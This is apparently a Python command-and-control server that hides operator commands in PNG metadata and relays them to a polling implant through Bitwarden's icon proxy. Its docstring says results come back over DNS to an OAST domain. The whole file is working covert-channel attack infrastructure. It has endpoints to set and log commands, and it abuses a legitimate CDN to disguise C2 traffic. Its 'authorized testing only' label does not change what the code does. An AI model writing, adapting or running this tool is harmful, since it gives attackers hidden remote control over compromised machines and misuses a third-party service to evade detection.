#!/usr/bin/env python3
"""
Bitwarden Icon Proxy C2 — Server Component

Generates polyglot PNGs with commands in tEXt metadata.
Serves them via HTTP so the Bitwarden icon proxy caches and relays them.

Usage:
    python3 c2_server.py --port 80 --oast-domain <your-oast-domain>

The agent polls: https://icons.bitwarden.net/{session}.{this-server}/icon.png
Commands are embedded in PNG tEXt chunks.
Results come back via DNS subdomain queries to the OAST domain.

FOR AUTHORIZED SECURITY TESTING ONLY
"""

import struct
import zlib
import json
import time
import base64
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from pathlib import Path


def make_png_chunk(chunk_type: bytes, data: bytes) -> bytes:
    chunk = chunk_type + data
    crc = struct.pack(">I", zlib.crc32(chunk) & 0xffffffff)
    return struct.pack(">I", len(data)) + chunk + crc


def make_c2_png(command: str, session_id: str = "") -> bytes:
    """Create a valid PNG with a C2 command in tEXt metadata."""
    png_sig = b"\x89PNG\r\n\x1a\n"
    ihdr = make_png_chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0))
    idat = make_png_chunk(b"IDAT", zlib.compress(b"\x00\xff\x00\x00"))

    c2_data = json.dumps({
        "cmd": command,
        "ts": int(time.time()),
        "sid": session_id,
    }).encode()

    text_chunk = make_png_chunk(b"tEXt", b"Comment\x00" + c2_data)
    iend = make_png_chunk(b"IEND", b"")

    return png_sig + ihdr + text_chunk + idat + iend


class C2Handler(BaseHTTPRequestHandler):
    current_command = "whoami"
    command_history = []

    def do_GET(self):
        if self.path == "/icon.png":
            png = make_c2_png(self.current_command)
            self.send_response(200)
            self.send_header("Content-Type", "image/png")
            self.send_header("Content-Length", len(png))
            self.send_header("Cache-Control", "no-cache")
            self.end_headers()
            self.wfile.write(png)
            self.log_message(f"Served command: {self.current_command}")

        elif self.path == "/":
            # Root page with favicon link pointing to /icon.png
            html = b"""<html><head>
<link rel="icon" href="/icon.png" type="image/png">
<link rel="shortcut icon" href="/icon.png">
</head><body>.</body></html>"""
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", len(html))
            self.end_headers()
            self.wfile.write(html)

        elif self.path == "/favicon.ico":
            # Also serve command via favicon.ico
            png = make_c2_png(self.current_command)
            self.send_response(200)
            self.send_header("Content-Type", "image/x-icon")
            self.send_header("Content-Length", len(png))
            self.end_headers()
            self.wfile.write(png)

        elif self.path.startswith("/cmd/"):
            # Set new command: GET /cmd/base64encodedcommand
            try:
                new_cmd = base64.urlsafe_b64decode(self.path[5:]).decode()
                C2Handler.current_command = new_cmd
                C2Handler.command_history.append({
                    "time": time.strftime("%H:%M:%S"),
                    "cmd": new_cmd,
                })
                resp = f"Command set: {new_cmd}\n".encode()
                self.send_response(200)
                self.send_header("Content-Type", "text/plain")
                self.send_header("Content-Length", len(resp))
                self.end_headers()
                self.wfile.write(resp)
            except Exception as e:
                self.send_error(400, str(e))

        elif self.path == "/status":
            status = json.dumps({
                "current_command": self.current_command,
                "history": self.command_history[-20:],
            }, indent=2).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", len(status))
            self.end_headers()
            self.wfile.write(status)

        else:
            self.send_error(404)

    def log_message(self, format, *args):
        print(f"[{time.strftime('%H:%M:%S')}] {self.client_address[0]} - {format % args}")


def main():
    parser = argparse.ArgumentParser(description="Bitwarden Icon Proxy C2 Server")
    parser.add_argument("--port", type=int, default=80)
    parser.add_argument("--command", default="whoami", help="Initial command")
    args = parser.parse_args()

    C2Handler.current_command = args.command

    server = HTTPServer(("0.0.0.0", args.port), C2Handler)
    print(f"C2 server running on port {args.port}")
    print(f"Initial command: {args.command}")
    print(f"Set commands: curl http://localhost:{args.port}/cmd/$(echo 'id' | base64)")
    print(f"Check status: curl http://localhost:{args.port}/status")
    print()
    print("Agent polls: https://icons.bitwarden.net/{{session}}.{{this-server}}/icon.png")
    print("Commands delivered via PNG tEXt metadata through Bitwarden CDN")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nShutting down")
        server.shutdown()


if __name__ == "__main__":
    main()
